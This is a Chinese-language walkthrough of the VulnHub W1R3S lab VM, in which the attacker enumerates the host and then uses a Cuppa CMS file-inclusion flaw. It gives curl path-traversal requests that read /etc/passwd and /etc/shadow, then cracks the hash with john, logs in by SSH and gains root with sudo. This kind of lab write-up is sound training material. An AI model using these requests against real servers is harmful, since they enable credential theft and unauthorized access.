前言

您受聘在W1R3S.inc单个服务器上进行渗透测试,并报告所有发现。他们要求您获得root访问权限并找到标志(位于/root目录中)。

难以获得低特权外壳:初级/中级

获得特权升级的难度:初级/中级

关于:这是一个易受攻击的Ubuntu盒子,给了你一些真实世界的场景,让我想起了OSCP实验室。

如果你需要任何提示、建议或有问题,请随时给我发电子邮件:在gmaildot.com上查看电线。

靶场环境

kali 192.168.31.153

w1r3s-1 192.168.31.42

靶机环境地址:https://www.vulnhub.com/entry/w1r3s-101,220/

渗透实战

信息收集

nmap扫描网段探测存活主机

nmap 192.168.31.0/24

发现了192.168.31.42,访问http://192.168.31.42,是一个普通的apache界面

使用nmap或者Zenmap扫描ip全端口信息,版本信息,操作系统信息

nmap 192.168.31.42 -sV -O -p- -A
-sV 扫描版本信息
-O 扫描操作系统
-p- 扫描全端口
-A 扫描详细信息

发现有ftp的21端口,并且允许匿名用户登录anonymous,展示了ftp下的三个文件

接着就是ssh的22端口,80端口和mysql的3306端口,并且3306端口并不是管理员端口

操作系统是ubuntu linux 3.x或者4.x版本

接着使用目录扫描器dirsearch简单枚举web页面

发现了/administrator/index.php,/wordpress/wp-login.php这俩目录

还有一点就是,扫描出的结果不能仅仅关注状态码为200的结果,可以看看301 302有些是可以跳转到其他地址的,访问http://192.168.31.42/administrator/index.php会跳转到http://192.168.31.42/administrator/installation/一个安装界面

使用whatweb扫描网站信息

whatweb http://192.168.31.42/administrator/installation/

发现网站是Apache2.4.18,Cuppa CMS 搭建的

到此就简单收集了端口信息和枚举了web页面

根据端口信息得到ftp的21端口可以匿名登录,我们使用ftp 192.168.31.42登录

ftp 192.168.31.42
anonymous //回车后需要输入密码,我们直接再回车一次匿名登录
ls
get content

登录成功但是无法提取文件,只能从web界面入手

渗透入侵

已知是Cuppa CMS搭建的系统,直接在https://www.exploit-db.com查找Cuppa此内容管理系统的历史漏洞,发现了有一个 本地/远程文件包含漏洞

看到左上角的EDB-ID:25971 是一家归档了的编号,可以拿到编号去kali使用searchsploit查找归档的信息或者脚本

查看poc提示,需要去包含一个文件,这里我直接访问/etc/passwd

http://192.168.31.42/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

发现并没有显示信息,可能是需要post访问

使用curl工具以post方式获取信息

curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.31.42/administrator/alerts/alertConfigField.php

发现了w1r3s的用户和root有/bin/bash权限

现在已知用户,要去查找密码,我们继续获取/etc/shadow文件的密码信息

curl -s  --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.31.42/administrator/alerts/alertConfigField.php

发现有www-data和w1r3s的加密过的密码,因为只有w1r3s用户有权限,所以主要拿w1r3s的密码来爆破,这里使用kali自带的john工具爆破解密,先将用户和加密的密码复制到一个文本,再爆破

vim pass.txt
john --show pass.txt

得到密码是computer,前面已知有一个22端口,尝试登陆

ssh w1r3s@192.168.31.42
computer

提权

使用sudo su,输入密码直接登录

总结

信息收集:1.利用nmap扫描端口信息,2.dirsearch枚举web页面,3.whatweb探测网站信息

渗透webshell:1.cms漏洞获取敏感信息,2.john爆破获取w1r3s的密码,3.远程登录ssh获取webshell

提权:sudo提权

W1R3S-1项目实战的更多相关文章

  1. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  2. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  3. 【腾讯Bugly干货分享】React Native项目实战总结

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...

  4. Asp.Net Core 项目实战之权限管理系统(0) 无中生有

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  6. Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  8. Asp.Net Core 项目实战之权限管理系统(5) 用户登录

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  9. Asp.Net Core 项目实战之权限管理系统(6) 功能管理

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  10. Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

随机推荐

  1. [Java]枚举类型:遍历为List

    方式1 Demo import com.google.common.collect.Lists; import java.util.HashMap; import java.util.List; im ...

  2. Java Stream流

    Java8 Stream流编程 Stream 使用一种类似于SQL语句从数据库查询数据的直观方式来提供对 Java 集合运算和表达的高阶抽象.得益于 Lambda 所带来的函数式编程,Stream A ...

  3. PHP创建SqlLite数据表并让ID自增

    <?php class MyDB extends SQLite3 { function __construct() { $this->open('test.db'); } } $db = ...

  4. 【Java Se】JDBC

    启停服务 net start mysql net stop mysql 登录 mysql -u -p 访问指定IP的mysql mysql -u root -P 3306 -h localhost - ...

  5. php正则表达式大全/php正则表达式使用方法整理集合

    匹配数字 "^\d+$" //非负整数(正整数 + 0) "[1][1-9][0-9]$" //正整数 "^((-\d+)|(0+))$" ...

  6. vmware-ubuntu 设置共享目录

    VMware可以通过右上方菜单,管理-虚拟机设置,进入共享文件夹设置界面: vmware设置共享目录,重新启动windows,偶尔会失效.可以按下面步骤重新设置下,copy就行 查询是否存在已挂载的文 ...

  7. 机器学习06-(支持向量机SVM、网格搜索、文本分词、词袋模型、词频、文本分类-主题识别)

    机器学习-06 机器学习-06 支持向量机(SVM) 支持向量机原理 网格搜索 情感分析 文本分词 词袋模型 词频(TF) 文档频率(DF) 逆文档频率(IDF) 词频-逆文档频率(TF-IDF) 文 ...

  8. [Pytorch框架] 4.2.3 可视化理解卷积神经网络

    文章目录 4.2.3 可视化理解卷积神经网络 背景 基于Deconvolution的方法 基于Backpropagation的方法 Guided-Backpropagation CAM(Class A ...

  9. 在Winform分页控件中集成保存用户列表显示字段及宽度调整设置

    在Winform的分页控件里面,我们提供了很多丰富的功能,如常规分页,中文转义.导出Excel.导出PDF等,基于DevExpress的样式的分页控件,我们在其上面做了不少封装,以便更好的使用,其中就 ...

  10. 分享一个提高运维效率的 Python 脚本

    哈喽大家好我是咸鱼,今天给大家分享一个能够提升运维效率的 python 脚本 咸鱼平常在工作当中通常会接触到下面类似的场景: 容灾切换的时候批量对机器上的配置文件内容进行修改替换 对机器批量替换某个文 ...